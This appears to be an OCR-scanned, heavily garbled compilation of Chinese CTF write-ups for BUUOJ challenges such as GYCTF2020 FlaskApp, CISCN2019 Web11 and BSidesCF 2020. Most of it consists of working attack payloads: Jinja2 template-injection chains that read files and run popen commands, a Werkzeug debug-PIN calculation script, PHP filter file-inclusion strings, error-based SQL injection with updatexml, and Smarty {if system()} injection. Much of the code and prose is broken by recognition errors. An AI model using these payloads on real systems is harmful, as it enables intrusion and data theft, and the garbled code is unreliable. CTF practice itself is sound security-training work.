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HARBEREXMHRIM, {"cmd":"1s"}

Web Adminstration Interface

Attempting to run command:
index.php

Enter command as JSON: |{"emd":"1s"s

RIGAFA R EbanT , BEwpfFIRG

<?php
putenv('PATH=/home/rceservice/jail");

if (isset($ REQUEST['cmd'])) {
$json = $ REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';

} elseif (preg match('/~.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|
disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let]|local|logout|popd]|prin
tf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask]|unali
as|unset|until|wait|while|[\x@0-\x1FA-Z0-9!#-\/;-@\[-" |~\x7F]+).*$/"', $json)) {

echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>"';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input’;
b

echo '<br/><br/>';
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% payload: {%@a"cmd":"/bin/cat /home/rceservice/flag"%0a}//BiE R R

&« G @ "}D # 21.node3.buuoj.cn/?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag™%0A} -
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Web Adminstration Interface

Attempting to run command:
flag{eed1ead4-230e-4a9c-bb60-abbal75b6c2c}

Enter command as JSON: | |
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payload:

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":""' + "a"*(1000000) + '"}'

res = requests.post("http://0e383195-1074-4c91-bab6-2b4029dcd921.node3.buuoj.cn/", data={"cmd":payload
#print(payload)

print(res.text
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File " /usr/local/lib/python3.7 /site-packages/flask/app.py", line 7935, in dispatch_request

return self.view functions[rule.endpoint](**req.view_args)

File " /app/app.py’, line 54, in decode
@app.route( ' /decode’ ,methods=["POST", "GET"])
def decode():
if regquest.values.get( 'text") :
text = request.values.get({"text")
text_decode = basetd4.béddecode(text.encode())
tmp = "&HE : [8)".format(text_decode.decode())
if waf(tmp)
flash{"no no no !!")
return redirect{url_for{'decode’))
res = render_template_string(tmp)

flash{ res )

UnicodeDecodeError: 'utf-8' codec can't decode byte Oxac in position 7: invalid start byte

The debugger caught an exception in your WSGI application. You can now look at the traceback which ied to the error.

B SRR

{% for ¢ in [].__class__._base__ . subclasses_ () %}{% if c.__name__=="'catch warnings' %}{{ c.__init_ . global
s__['_ builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
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BASEG4NNZE

in[]_ class _ base _ subclasses_ () %H% ifc__name_  =='catch_warnings' %M4{c.__init___ globals [ builtins_ '].open(‘app.py','r').read() ¥{% endif %H% endfor %}

N, TEMREALAS BITRRY

#5388 ¢ from flask import Flask render_template_string from flask import render_template.request,flash,redirect url_for from flask_wtf import FlaskForm from wiforms import
StringField, SubmitField from wiforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__ )
app.config[8#30;SECRET_KEY8&#30;] = 8#30;s e _c_r e t k_e yR&#30; bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField(&8#39;BASEE4/M

BL&#309; validators= [DataRequired()]) submit = SubmitField(8#39 1225 8#39]) class NameForm1(FlaskForm): text = StringField(8#39BASEGAREES 8#39; validators=
[DataRequired()]) submit = SubmitField(8#30 1235 8#30;) def waf(str): black_list =

[B#34 Nags#34, 8#34 058434, 8434 systema#34, 8434, popend#34. 8#34.importd#34. 8#34 evald#34, 8#34 chri#34; &#34 requestd#id,,

8#34 subprocess8#34; 8#34 commandss#id; 8#34 s0cket#34; 8#34 hexd#34; #3534 basetd 8434, 8#34,* 8434 8#34,?8#34 ] for x in black_list © if x in strlower() : return 1
@app.route(8#39./hint8#39; methods=[A#30;GET&#39.]) def hint(): txt = 8434 M JARETh=63! | 8#34; return render_template(8#34; hint himI8&34; it = txt)
@app.route(8#39,/8#39, methods=[8#39,POSTA&#39,,8#39,GET84#39]) def encode(): if requestvalues. get(8#39 text8#39;)  text = request.values get(d#34 textd#34,)
text_decode = base64 bEdencode(text.encode()) tmp = 8#34 555 {0}8434; format(str{text_decode.decode())) res = render_template_string(tmp) flash(tmp) return
redirect{url_for(8#39;encodes#39;)) else : fext = 8#34,8#34; form = NameForm(text) return render_template(8#34;index.nimi&#34; form = form .method = &#34 10858434, .img
= &#34 flask.png8#34;) @app.route(8#39;/decoded#39; methods=[8#39;POST &#39; &#39;GET&#39;]) def decode(): if request.values get(8#39;text8#39;) - text =
request.values.get(8#34 text&#34;) text_decode = base64.b64decode(text. encode()) tmp = 8#34 555 :  {0}3#34; format(text_decode decode()) if waf(tmp) : flash(8#34:no no
no 1&#34.) return redirect(url_for(8#39,decoded#39;)) res = render_template_string(tmp) flash( res ) return redirect(url_for(8#39.decoded#39,)) else : text = &#34.8#34, form
= NameForm1(text) return render_template(8#34;index.html&#34; form = form, method = 8#34 #8F8#34; | img = 8#34:flask1.png8#34;)
[@app.route(8#39,/&Itname&gt &#39; methods=[8#39, GET&#39;]) def not_found(name): return render_template(8#34;404_himl&#34; . name = name) if __name__ ==

&#39,_ main__&#39: app.run(host=8#34,0.0.0.08#34;, port=5000. debug=True)

BERAY/NFEFF - base64 fRE

def waf(str):

black_list = [&#34;flagl#34;,8#34;0S&#34; ,&#34;system@#34; ,&#34;popend&#34; ,&#34 ; import&#34; ,&#34;eval&#34; ,&
#34; chri&#34; ,&#34 ;request&#3s; ,

&#34; subprocess&#34; ,&#34; commands&#34; ,&#34; socket&#34; ,&#34 ;hex&#34; ,&#34 ;baseb4l#34; ,&#34; *

&#34;,84#34; 2&#34; ]

for x in black_list

if x in str.lower() :
return 1

FEHM
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{{"'"._class__._bases_ [0].__subclasses_ ()[75].__init__._globals__ [' builtins_'][' imp'+'ort__"]('0o'+'s").
listdir('/")}}



E=- [&#39 boot&#ag 8#39.proc&#30;, 8#30/liD648#39;, &#39:5ys8&#30;, &#30,mni&#30;, 8#30.bin8#30;, E#30Impa&#309;, 8430 var&#30;, 8#30,mediad#39;,
shin&#30;, &#30;root&#30;, 8#30,0pt&#30;, &#30.etcB#30; B#30 libB#30;, B#30,deva#30;, &#30;5rvB#30;, 8#30,run&#30;, &#30;usr&#39;,
(this_is_the flag.bdg#39., &#39, dockerenva#39;, &#30,apps#39;]
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Flask

WEb development
i —— one Cll‘.'()p at a time

BASEG4iRE:

€3snJySTX2NsYXNZX18uX191YXNIc19fWZBdLI9Te 3ViY2xhe 3NIc 19fKClbNZVALI9OTaWSpd FOfLIOTZZ2xvY mFsc 19fWydiX2J1aWx0aWszx1 8nxsnx 1 9pbXAnKydve nRIXyddiKCc

{{"'"._class__._base__._subclasses_ ()[131].__init__._ globals_ [' builtins_ "]['ev'+'al']('__im'+'port_ ("o’
+'s").po'+'pen("cat /this_is_the_fl'+'ag.txt")').read()}}

BE

{{""._class__._base__._subclasses_ ()[77].__init__. globals_ [ 'sys'].modules|['o'+'s"']._ dict__ ['po'+'pen" ("

cat /this_is_the _fl'+'ag.txt').read()}}

B MER VI A £ T P EAaghy 2 B

{% for ¢ in [].__class__._base__ . subclasses_ () %}{% if c.__name__=="'catch warnings' %}{{ c.__init_ . _global
s__['_builtins__"].open('txt.galf_eht_si_siht/'[::-1],'r"').read() }}{% endif %}{% endfor %}



758 . flag{ee8bd44b-0a64-47b3-bad8-5d7378c3a169}
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Flask

web development,
—t one drop at a time

BASE64fFER
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—: RSBz TlaskFi BRI P 4. 8T iEE/etc/password AT &1 E N: flaskweb

{{()._class__.__bases_ [0].__subclasses_ ()[75].__init__._globals__._builtins_ ['open']('/etc/passwd').read()
1}

£558 ¢ rootx0:0:root/root/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
syncx4:65534:sync:/binz/binfsync games:x:5:60:games:/usrigames:/usr/sbin/nologin man:x:6:12:man:/ivaricache/man:/usrisbin/nologin lpx:7:7:Ip:ivar/spooliipd:fusr
Isbin/nologin mail:x:8:8:mail:/var/mail/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy-/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/variwww:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x-38:38:Mailing List
Manager:/var/list:fusr/sbin/nologin irc:x:39:39:ircd:/var/runfircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x-100:65534 /nonexistent:/usr/sbin/nologin flaskweb:x:1000:1000::/home/faskweb:/bin/sh

X

—: modnameffifi. —EAZEH A flask.app
" name_ ) 4R, & Flask , A4S
M. flask/E T app.pyfI st ig12. fEREE(S BRI DAFREUAEN:  /usr/local/lib/python3.7/site-packages/flask/app.py

T HETMZ K macttibk i+ sEd$ . B X /sys/class/net/ethe/address B, ethOJy24Hif#E FH KN

=: getattr(app, "__name__", app.__class__ .

{{{}._class__._mro__[-1]._ subclasses_ ()[102].__init_ ._ globals_ ['open']('/sys/class/net/eth@/address"').rea
d()}}



8 : 02:42:3e:00:01:57
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print(int( @242a3e8808157",

75: HLARHid:

Xt F3IEdockerdlE—AMHLEEAISA H EME—Id, linuxifid—8 17 i7E /etc/machine-id8%/proc/sys/kernel/random/boot_i, B K RZEHE X
[k €is

Xt FdockerdL S E/proc/self/cgroup, H A58 —47 1/docker/=4F 5 J= T 1] A & AE N HL A 1id

Rix BIRELH & /proc/selflcgroup

{% for ¢ in [].__class__._base ._subclasses_ () %}{% if c.__name__=='catch_warnings' %}{{ c.__init__ ._ global
s__ ['__builtins__ "]J.open('/proc/self/cgroup', 'r').read() }}{% endif %}{% endfor %}

/R 12:cpuset/docker/3a6fi5898390f421d3a796226e0e07c0339c79df1319ceas5253e98e767c6118 11:blkio/docker

13a6ff58983901421d3a796226e0e07c0339c79dM 319ceas5253e98e767c6118 10:memory-/docker

/3a6T58983901421d3a796226e0e07c0339c79d11 319ceas5253e98e767c6118 9.devices/docker/3a6M58953901421d3a796226e0e07c0339cT9dM 319ceas5253e98eT67c6118
8:rdma:/ 7:perf_event/docker/3a6if58983901421d3a796226e0e07c03390¢79dM319cea55253e98e767c6118 6:pids:/docker
/3a61M58983901421d3a796226e0e07c0339c790M 319cea55253e98e 7676118 S:hugetib/docker/3a6Mf58983901421d3a796226e0e07c0339c790M 319ceas5253e98e767c6118
4:freezer:/docker/3a6f5888390f421d3a796226e0e07c0339c79d1319ceas5253e98e767c6118 3:net_cls.net_prio:/docker
13a61f5898390f421d3a796226e0e07c0339c79d1319ceas5253e98e767¢6118 2:cpu,cpuacct:/docker
/3a6158083901421d3a706226e0e07c0339c79d11319ceas5253e98e767c6118 1:name=systemd:/docker

|.-3a6ﬂ5898390f421d3a?95226&080?c0339c?9d1131 9cea55253898e?5?c5118p /system slice/containerd.service

183 3a6F58983901421d3a796226e0e07c0339c79df1319cea55253e98e767c6118

FA kingkkIi & ff) exp:



import hashlib

from itertools import chain

probably public_bits = |
'flaskweb'# username
'flask.app',# modname

' ' '

'Flask',# getattr(app, __name__"))
'/usr/local/lib/python3.7/site-packages/flask/app.py"' # getattr(mod, '__file__', None),

__name__ "', getattr(app.__class__,

private_bits = |
'2485410333015"' ,# str(uuid.getnode()), /sys/class/net/ens33/address
'3a6f158983901421d3a796226€0e07c0339c79df1319cea55253e98e767c6118"'# get_machine_1id(), /etc/machine-id

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8")
h.update(bit)
h.update(b'cookiesalt")

cookie_name = ' wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt’)
num = ('%09d" % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:

if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0")
for x in range(@, len(num), group_size))
break
else:
rv = num

print(rv)
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str):
.('

e(b’pinsalt”)
%89d’ % int(h.h
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1& N 265-149-843 HE:# A\ python& i T

[console ready]

»>» import os

»>» os,popen{’ls /').read()
"appi\nbininboot\ndevinetcinhomelnlib\nlib64\nmedia\nmnti\noptinprocinrootinruninsbin\nsrvinsysinthis_is_the_flag.txt\ntmp\nusr
»>»>» os.popen('cat /this_is_the_flag.txt').read()

"flag{lc9eledf-2bba-4fc7-b82f-a81b5be4fesb}\n’

ES

5%
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[GYCTF2020]FlaskApp

GYCTF2020_Writeup
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{script src="assets/js/jquery.min. js"»</script>

{script src="assets/js/bootstrap.min. js"></script>
{script src="assets/js/retina-l.1.0. is"»</script>
{script src="assets/js/jqueryv.unveilBffects. j="»</script>
</body>

</html>

I—?Ffile=7—>

2Rz AE, FEikpayload:

?file=php://filter/convert.base64-encode/resource=index.php

&« G @ ‘ © & del.buuoj.cn/Hile=php:/ffilter/convert.basebd-encode/resource=index.php ~ Ef  ee

BHuamesss B sEm @ FELE [P wiesSsems. () BN SIss. © =28 @A | 2editEss. des O
PDOwaHAKCMIuaV9zZXQoJ20wZW5sTYmFzZWRpcicsICevdmPyL3d3dy9odG1sLyc pOwoKLy8gJGZpbGUgPSAKXOAF VFsiZmisZSJdOwokZmIsZ S/
IniYjlkle
IPCO0Mj4KICAGICAGICABaW1 nIGNSYXNzPSJsb2dvliBzemMOlidvy XNzZXRzL 21tZy9sb2dvLWVuLnBuZyl+PCEtLUxPROOMTOAPTEQHTOXPROBILT £
/rualueaUtui0p+WesOWdgDwvYnV0dGOuPgogICAgICAGICAGICABL2E+CIAgICAGICAGICAgIDXNIGhYZWYSli4vZ GVSZXRILNBOC Cl+CIAgICAGICA
/ZmIsZTO/LS0+Cg==

R B AT 43 I YRACRD -

<?php
ini_set('open_basedir', '/var/www/html/");

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $ GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%@0/i",$file)) {
echo('no way!");
exit;
¥
@include($file);

?>

F8 4 7] LA18 ] confirm.php,change.php,search.php &4 () Y5 5
change.php:



<?php
require_once "config.php";

if(lempty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '’
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $ _POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];

if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){

$msg = 'no sql inject!’;
telse{
$sql = "select * from “user’ where “user_name’ ='{$user_name}' and “phone ='{$phone}"'";

$fetch = $db->query($sql);

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update “user’ set “address =
".$row[ 'user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);

.$address.""', “old_address ='".$row[ 'address']."' where “user_id =

exit;
}
$msg = “iTEABTEIN";
} else {
$msg = "RIREBNTHEI";
}
telse {

$msg = "BEEAE";

?>

search.php:



<?php
require_once "config.php";

if(lempty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $ _POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg
telse{
$sql = "select * from “user’ where “user_name ='{$user_name}' and phone ='{$phone}"'";
$fetch = $db->query($sql);

'no sql inject!’;

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
¥
$msg

"<p>@EZ " . $row[ 'user_name']."</p><p>, HLiF:".$row[ 'phone']."</p><p>, Huhk:".$row['address’']."</p>

} else {
$msg

"RIRBTERLY
}
telse {

$msg = "BEEAE";

?>

confirm.php:



<?php

require_once "config.php";
//var_dump($_POST);

if(lempty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = "'
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $ _POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];

if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){

$msg = 'no sql inject!’;
telse{
$sql = "select * from “user’ where “user_name’='{$user_name}' and “phone ='{$phone}"'";

$fetch = $db->query($sql);

if($fetch->num_rows>0) {
$msg = $user_name."EIRITHE";
telse{
$sql = "insert into “user® ( “user_name’, “address’, “phone’) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!'$re) {
echo 'error';
print_r($db->error);
exit;
¥
$msg = “iTEIRIEIN";
¥
} else {
$tmsg = "EEAL";



where user_id=updatexml(1l,concat(@x7e, (select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

T
« c © & 43754a3a7-6611-4f18-ae2e-c53c9728fdd7.node3.buuoj.cn/change.php
[iEf] -EidRiEE. F SFE & PTA | EFgits

BymEszs DAt @ FEtE (P WISsSskEs.

errorXPATH syntax error: '~flag{6eba8fe3-b963-4~'

1' where user_id=updatexml(1,concat(@x7e, (select substr(load_file('/flag.txt'),21,50)),0x7e),1)#
© £ 43754a3a7-6611-4f18-ae2e-c53c9728fdd7.node3 .buuoj.cn/change.php

\3 ¢ @
[EHK] -ETREs. © SFE @ PTA|2FaE

BEyamesiss S EEmME @ FFELE (P inlesSsims.
errorXPATH syntax error: '~785-a79a-f42274540e9b} ~

Stop the aliens!

We found this note in a dumpster. We think it's from invading aliens' Can you read it?|

RIIDILLOL ¢ D8 219K~
LRPO L sl¢ v M3 330K

eR ¢ WY POLL© § =

JREC ¥ R DF
BRI {F AR X O~ |20 -



https://www.cnblogs.com/kevinbruce656/p/11347127.html

G @ # view-source:http://13874ced-8224-4334-8f79-b688cbelec21.noded.buuoj.cn/
diEsss OSERE @ FFthE [ WaSSSaEs.. [iIEf] -SEMEE=. & ZEE @ PTA | EEeisEnk

<html>
<head>
<title’Futurella!</title>
<link href="/css/style.css” rel="stylesheet” />
<link href="/css/bootstrap.min. css” rel="stylesheet” />
</head>
<body>
<content>
<div class="container”>

<hl1>3top the aliens!</hl>

<pr
We found this note in a dumpster. We think it' s from invading aliens! Can vou
read it?

<pr

<div class= challenge rounded >

<{p>Resistance is futile! Bring back Futurella or we 11 invade!</p>
|

<p>Also, the flag is|flag{Tbh3r1d50-22fd—4efB—ba95-54434effThdT}{/ D>
<Sdive

<Sdive
</content>
</body>
</html>

A== | 13874ced-8224-4334-8f79-b688cbelec21.node3.buunj.cn

@z @ == EE @ XitflTs & Aman CTF [¥7iEE] 5. O EEAETENqgb.. ) Nessus Essentials... Q College
Erhell ritEss, BiITAORCEEE A AERYEA! {RebiE— FE?

inEESH! ok
[M3L3240%e, FUFEISA
2!
F, IrEEiRS{TsARxX o-
[t -4~ F =<3 VX -



X ++NA+4¢EEESH T}

Al 2% 20199 CTF3A LFidFE (—) : BSidesSF 2019 CTF_Web# 4 & H writeup 5 Efi#

[CISCN2019 4 % B % X JWeb11

HRFEARIEL LAILRTip

Current IP:174.0.0.201
SRIETE B G H R I HE T SmartylBE iR

Connection

Request-Header

GET / HTTP/2.0

Host: www.ip.la

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=08.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh-TW;q=8.9,zh;q=6.8

Cache-Control: max-age=8

Dnt: 1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.@ (Windows NT 18.8; Wing4; x64) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/74.8.3729.131 Safari/537.36

Build With Smarty !

PENIEXFFKLRRK, # B X-Forwarded-For: {7+7}

Go Cancel < |v > |

Request Response
J Raw T Paramz I Headers I Hex ] J R.awT Headers I Hex I HTML I Render ]
GET /HTTPM 1 A HTTP/M .1 200 OK
Host: node3 buuoj.cn: 28127 P Server: nginx/ 14 .2
User-Agent: Mozilal/a.0 (Windows NT 10.0; Wing4; x84, rv:71.0) Gecko/20100101 Firefox/71.0 Date: Tue, 14 Apr 2020 13:25:50 GMT
Accept: texthtml applicationfhtml+xml applicationfoanl;g=0.9 *M*g=0.8 Content-Type: text/html, charset=UTF-8
Accept-Language: zh-CN zhg=0.8 zh-TW.g=0.7 zh-HK;g=0 5 en-U5;g=0.3 en;g=0.2 Connection: close
Accept-Encoding: gzip, deflate X-Powered-By: PHPIT 3.5
Connection: close Content-Length: 3908
Cookie: _ga=GA1.2.202177182.1584773494; track_uuid=Tea291d-20e3-4152-8876-536ebeb40ads
Upgrade-Insecure-Requests: 1 =html lang="en">=head==meta http-equiv="Content-Type" content="1
¥-Forwarded-For: {T+7} \ <title=A Simple IP Address API<#itle>
- : -age= <lirk rel=" " =", ap.min.css'
Cache-Control: max-age=0 i%}]DX-Fomarded—For: {?+7} {m;:;}rel styleshest" href=".jcssbootstrap min.css
<body=

=div class="container"=
=div class="row"=
<div style="float:left, ">
<h1=IP=h1=
=h2 class="hidden-xs hidden-sm"=A Simple Public IP Add
<lclive
=div style="float:right; margin-top: 30px; F=Current IP:14

=fdliv=

smartyH ) {if} FR2EH AT AATphpiE ), AR LAREA -


https://blog.csdn.net/qq_43214809/article/details/88169071

{if system("1ls /")}{/if}

{if system("cat /flag")}{/if}
=BE

{if readfile('/flag')}{/if}

Request

Raw | Params Headers Hex

Response

Raw | Headers Hex HTML Render

GET IHTTRA 1

Host: node3 buuoj.cn:29127

User-Agent: Mozila’s.0 (Windows NT 10.0; Wing4; x4, rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/hitml licationfhtmml+eml i 08 **g=08

Accept-Language: zh-CH zh, S en-Us;g=03en,g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: _ga=GA1.2.202177182.1584773494,; track_uuid=7ea2%91d-203-4162-8876-536eheb40ads
Upgrade-nsecure-Requests: 1

H-Forwarded-For: {if readfile flag) }{f}

Cache-Cortrol max-age=0

E=Hlflag

%% [CISCN2019 44 # X Web11

[BSidesCF 2019]Kookie

'Y HTTR/.1 200 OK

Server: nginx/1.14.2

Date: Tug, 14 Apr 2020 13:31:15 GMT
Corntent-Type: textihtml, charset=UTF-8
Connection: close

H-Powered-By: PHPIT.3.5
Content-Length: 3062

<html lang="en"=<head=<meta htp-equiv="Content-Type" content="textMtml charset=UTF-8"=
<titlz=A Simple IP Address APl=fitle=
<link rel="stylesheet" href="./css/hootstrap min.css"=
<heac=
<hody=
=div class="container">
=dliv class="row"=
=div style="float:left;"=
<hl=IP=hl=
<h2 class="hidden-xs hidden-sm"=A Simple Public IP Address APl=h2=

<fliv=

<lliv=

=div style="float:right, margin-top: 30px; "=Current IP§7?php $flag="flag{{7 48e5f3-2c58-4228-a540-3720c1 dbdad }",

<ldliv=



https://www.cnblogs.com/Wanghaoran-s1mple/p/12616892.html

Canyou log In?

Loginas admin !

We found the account coo

username=admin

J Raw T Params I Headers T Hex

Enter your password below!

Username:

Password:

J Raw T Headers THex HTML T Render ]

GET r7action=loginZusername=admin&password=admin HTTPA 1
Host: a54b26bE-057f-43ad-bef1-b1 3ccad97d5320 node3 buuoj.cn

Accept: texthtml applicationfhtml+xml application/fxml,g=0.9 ** =05

Accept-Encoding: gzip, deflate
Connection: close

Cookie; _ga=GA1.2.202177182.1554773454; username=admin
Upgrade-Insecure-Reguests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:71.0) Geckof20100101 Firefox/71.0

Accept-Language: zh-CN zh,g=0.8,zh-TW,g=0.7 zh-HK g=0.5 en-U5;q=0.3 en;q=0.2

Referer: Mtp/fa54b26b6-0571-43ad-be61-k1 3ced97d820 node3 huue cni?action=logingusername=1&passwaord=1

e

=p=
Log in as <tt=admin<it=!
<=
<p=
We found the account <tt=cookie=ft= / <tt>monster=/t=

<lp=>

<div class="challenge rounded'>
=div class='messagebox's

=cliv class="alert alert-info" role="alert"=

=p=Congratulations! You're logged in as <span class="higl
class="highlight'=flag{ed333f53-c9dc-4d1d-9d11-fd0bbbad500c )=

<feliv=


https://blog.csdn.net/qq_43214809/article/details/88169071

EENZIKEAN
BREM—A Tsss"\ WA —TF, FEBRFELLE —MREKEE

&« c @ © £ baf07a04-5073-45f6-9b75-843f7cc5d113.node3.buuoj.cn/changepwd.php T i
Byameses DsEm @ FFrE P mlasssems. O (S -SmE=. © S22 QD PTA | 2EaEai. @) @8 @ Nessus Essentials /F.. ©) &

oldpass:[ ]
newpass:[ ]

Submit

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\" and
pwd="c4ca4238a0b923820dcc509a6175849b" at line 1|

R M sqliE f)

select * from user where username="'sss"\" and password='d41d8cd98f00b204e9800998ecf8427¢e"

IRABATIREREN
username=1"| | (updatexml(1,concat(@x3a, (select(group_concat(table_name))from(information_schema.tables)where(tabl

e_schema=database()))),1))#

oldpass: | |

newpass: | |

Submit

XPATH syntax error: ":article,flag,users’

XA HflaghfEflag ##Fo o o o o o o BAUSESE

username=1"| | (updatexml(1,concat(0x3a, (select(group_concat(column_name))from(information_schema.columns)where(ta

ble_name='users'))),1))#

oldpass: | |

newpass: | |

Submit

XPATH syntax error: :name,pwd,email,real flag 1s her'

RREKERE], HEAFEREME, #HIENILERE

username=1"| | (updatexml(1,concat(0x3a, (select(group_concat(column_name))from(information_schema.columns)where(ta
ble_name='users')&&(column_name)regexp('~r'))),1))#

B354 real_flag 1s_here , &5IBEIE

username=1"| | (updatexml(1,concat(0x3a, (select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here

yregexp('~f'))),1))#



oldpass: | |

newpass: | |

Submit

XPATH syntax error: “flag{cleba3c2-d1e7-4557-9ad3-56'

KEZRIRE, FH reverse WFHH

username=1"| | (updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag
_1s_here)regexp('~f')))),1))#

oldpass: | |

newpass: | |

Submit

XPATH syntax error: ':}0b3ecbc42765-3da9-7554-7e1d-2¢’

f# FpythoniI Yl Jr» K R-1, R I IE M #flag, HHEEIHAT

TETHR

#AEE(Embed) P #497(Run) +

18b3ec6ca2765-3da9-7554-7eld-2c”’

[::-1]

%% . [RCTF2015]EasySQL

[BSidesCF 2020]Had a bad day

# 12-44d5-bad5-140a3226f7 84.node3.buuoj.cn/index.php?category=meowers ~ F  se- {‘r| 119
P rTesssaims. () 1Bk -SEFEs. © S22 @ rTA | EFEaEai.. @) 2 © Nessus Essentials /F... ©)

Meow! Meow!



https://www.cnblogs.com/peri0d/p/11599643.html

WOOFERS MEOWERS

A SHRIREROE R, Bul R RER S E
A5 O 0 SR B index B YR AR AL

?category=php://filter/read=convert.base64-encode/resource=index

# lex.php?category=php://filter/read=convert.baseb4-encodefresource=index v i e 1‘,}‘ N B o

7 omIESsseEs. O SR SiFEs. =598 PTA | EEFmigiteesis.. @) &t ) Nessus Essentials /F.. O BEE

Cheer up!

Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable

images cheer you up!

PGhObWwW+CIAGPGhIYWQ+CIAGICASDWVOYSBjaGFyc2VOPS1dGYIOCH CIAGICASBWVOYSBodHRWLWVXAWIZPSJYLVVBLUNVE
/PCOz¢ GFUPgogICAGICAGICAGPGRpdIBjbGFzcz0ibWRSLWxheW91dC1ze GFjZXIIPWvZ GI2PgogICAGICAgIDxkaXY +CIAgICAgIDWY
/IEFyZSB5b3UgZmVIbGluZyBkb3duPyBQaWNrGFulGOwdGIvbiBhbmQgbGVOIHR0ZSBhZ GOy YWJsZSBpbWFnZXMgY 2hiZXIge W
JcGhwCgkJCQKKZmIsZSAQICRIROVUWYdYXRIZ20yeSddOwoKCQKkJCWIMKGIze 2VOKCRmaWXIKSKKCQKICKSKCQkICQIpZigge 3

WOOFERS MEOWERS

B2 R



<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index
"IA
include ($file . '.php');
¥
else{
echo "Sorry, we currently only support woofers and meowers.";
}
?>

F Finclude B 5 & — T flag.php S04

?category=woofers/../flag

Sy T
Did you have a bad day? Did things n
p>

Il A 'l

<!—— Can you read this flag? ——>
<Sdive

<{form action="index. php” method="g=t" id

{center><button onclick="document. ¢

Fhattan aneliecb="darmont cat+B1aman+]

Vi Bflag.phpt & Tk, TRk fag.php, FHwpkii&php:/filterth tHil ol LAE— B il

ﬂf—:

?category=php://filter/read=convert.base64-encode/meowers/resource=flag

MHA T PHPX AFET IES K A4 1, BARSMwaming, ERIERHE T 4R

b

?category=php://filter/read=convert.base64-encode/resource=meowers/../flag

AT PHP &3t Bt 42 AT Ml fb Ab 2

BERT

=l Can you read this flag? —>

<?php

Il flag{6b8ab8hd-f899-4482-af7a-c07ba1ffé1b3}

7=
2%
[BUUOJiZ 3] [BSidesCF 2020]Had a bad day
BSidesSF 2020 CTF writeup

[XNUCA2019Qualifier]EasyPHP

g TR

BASEG4:

PCEILSBDYW4geW91IHJYWQgdGhpcy BmbGFnPyAILT4KPD9waHA
KICBvIGZsYWdTNmI4YWI4Y mQtZjgsOS00NDgyLWFmNZ2ELY zA3Ym
ExZmYAMWIzfQo/Pgo=


https://www.cnblogs.com/yesec/p/12577515.html
https://zhuanlan.zhihu.com/p/113862487

<?php
$files = scandir('./");
foreach($files as $file) {
if(is_file($file)){

